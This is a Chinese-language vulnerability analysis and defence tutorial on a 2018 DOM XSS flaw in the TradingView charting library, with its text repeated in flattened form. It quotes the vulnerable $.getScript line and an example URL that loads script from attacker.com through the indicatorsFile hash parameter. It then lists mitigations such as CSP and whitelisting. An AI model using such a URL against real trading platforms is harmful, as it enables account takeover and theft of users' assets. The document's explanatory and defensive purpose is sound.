通杀绝⼤多数交易平台的Tradingview Dom XSS漏洞分析
字数 1448 2025-08-18 11:37:42

TradingView DOM XSS漏洞分析与防御教学文档

漏洞概述

本漏洞是2018年发现的TradingView图表库中的一个DOM型XSS(跨站脚本)漏洞,影响绝大多数使用该库的交易平台。该漏洞允许攻击者绕过Cloudflare等防御机制,可能导致用户账号权限被盗、恶意操作及资产损失。

漏洞影响范围

  • 使用TradingView图表库的交易平台
  • 特别是使用charting_library文件夹中自动生成的tv-chart*.html文件的系统
  • 影响版本:2018年及之前的版本(漏洞已修复)

漏洞技术分析

漏洞位置

漏洞主要存在于以下文件中:

  1. tv-chart*.html(星号为随机值)
  2. library.19c99ed5d0307c67f071.js(或其他类似命名的JS文件)

漏洞触发机制

  1. 参数注入点

    • indicatorsFile
    • disabledFeatures
    • enabledFeatures
  2. 关键漏洞代码

    D ? $.getScript(urlParams.indicatorsFile).done(function()...
    

    这段代码使用jQuery的$.getScript()方法动态加载并执行来自indicatorsFile参数的JavaScript代码。

  3. 参数解析过程

    • 通过location.href获取完整URL
    • 使用indexOf("#")定位hash部分
    • 使用substring()提取hash后的参数
    • 使用正则表达式/([^?=&]+)(=([^&]*))?/g解析参数和值
    • 将参数值存入对象n

漏洞利用条件

攻击者需要能够控制以下任一参数的值:

  • indicatorsFile
  • disabledFeatures
  • enabledFeatures

并通过这些参数注入恶意JavaScript代码。

漏洞利用示例

攻击者可以构造如下恶意URL:

https://vulnerable-platform.com/tv-chart.html#indicatorsFile=https://attacker.com/malicious.js

当受害者访问该URL时,系统会:

  1. 解析URL中的indicatorsFile参数
  2. 使用$.getScript()加载并执行来自https://attacker.com/malicious.js的代码
  3. 恶意代码在受害者浏览器上下文中执行

漏洞防御措施

开发者防护方案

  1. 输入验证

    • 对所有传入参数进行严格验证
    • 使用白名单机制限制允许的URL和文件来源
  2. 输出编码

    • 对动态插入到DOM中的内容进行适当的HTML编码
  3. 内容安全策略(CSP)

    • 实施严格的CSP策略,限制脚本加载源
    • 例如:Content-Security-Policy: script-src 'self'
  4. 禁用危险函数

    • 避免直接使用$.getScript()加载动态URL
    • 如需使用,应先验证URL的合法性
  5. 参数过滤

    function sanitizeInput(input) {
        return input.replace(/</g, "&lt;").replace(/>/g, "&gt;");
    }
    

平台管理员防护方案

  1. 及时更新

    • 确保使用最新版本的TradingView图表库
    • 应用所有安全补丁
  2. WAF配置

    • 配置Web应用防火墙规则,拦截可疑的XSS攻击尝试
  3. 监控与日志

    • 监控异常的参数值
    • 记录所有可疑的访问尝试

漏洞修复验证

修复后应验证:

  1. 尝试注入恶意脚本是否被阻止
  2. CSP策略是否有效
  3. 参数过滤机制是否正常工作

总结

该DOM XSS漏洞展示了即使使用知名库如TradingView也可能存在严重安全隐患。开发者必须对所有用户输入保持警惕,实施多层防御措施,并定期进行安全审计。对于金融交易平台等敏感系统,更应实施严格的安全控制和监控机制。

参考资源

  1. OWASP XSS防护指南
  2. Content Security Policy参考
  3. jQuery安全最佳实践
TradingView DOM XSS漏洞分析与防御教学文档 漏洞概述 本漏洞是2018年发现的TradingView图表库中的一个DOM型XSS(跨站脚本)漏洞,影响绝大多数使用该库的交易平台。该漏洞允许攻击者绕过Cloudflare等防御机制,可能导致用户账号权限被盗、恶意操作及资产损失。 漏洞影响范围 使用TradingView图表库的交易平台 特别是使用 charting_library 文件夹中自动生成的 tv-chart*.html 文件的系统 影响版本:2018年及之前的版本(漏洞已修复) 漏洞技术分析 漏洞位置 漏洞主要存在于以下文件中: tv-chart*.html (星号为随机值) library.19c99ed5d0307c67f071.js (或其他类似命名的JS文件) 漏洞触发机制 参数注入点 : indicatorsFile disabledFeatures enabledFeatures 关键漏洞代码 : 这段代码使用jQuery的 $.getScript() 方法动态加载并执行来自 indicatorsFile 参数的JavaScript代码。 参数解析过程 : 通过 location.href 获取完整URL 使用 indexOf("#") 定位hash部分 使用 substring() 提取hash后的参数 使用正则表达式 /([^?=&]+)(=([^&]*))?/g 解析参数和值 将参数值存入对象 n 中 漏洞利用条件 攻击者需要能够控制以下任一参数的值: indicatorsFile disabledFeatures enabledFeatures 并通过这些参数注入恶意JavaScript代码。 漏洞利用示例 攻击者可以构造如下恶意URL: 当受害者访问该URL时,系统会: 解析URL中的 indicatorsFile 参数 使用 $.getScript() 加载并执行来自 https://attacker.com/malicious.js 的代码 恶意代码在受害者浏览器上下文中执行 漏洞防御措施 开发者防护方案 输入验证 : 对所有传入参数进行严格验证 使用白名单机制限制允许的URL和文件来源 输出编码 : 对动态插入到DOM中的内容进行适当的HTML编码 内容安全策略(CSP) : 实施严格的CSP策略,限制脚本加载源 例如: Content-Security-Policy: script-src 'self' 禁用危险函数 : 避免直接使用 $.getScript() 加载动态URL 如需使用,应先验证URL的合法性 参数过滤 : 平台管理员防护方案 及时更新 : 确保使用最新版本的TradingView图表库 应用所有安全补丁 WAF配置 : 配置Web应用防火墙规则,拦截可疑的XSS攻击尝试 监控与日志 : 监控异常的参数值 记录所有可疑的访问尝试 漏洞修复验证 修复后应验证: 尝试注入恶意脚本是否被阻止 CSP策略是否有效 参数过滤机制是否正常工作 总结 该DOM XSS漏洞展示了即使使用知名库如TradingView也可能存在严重安全隐患。开发者必须对所有用户输入保持警惕,实施多层防御措施,并定期进行安全审计。对于金融交易平台等敏感系统,更应实施严格的安全控制和监控机制。 参考资源 OWASP XSS防护指南 Content Security Policy参考 jQuery安全最佳实践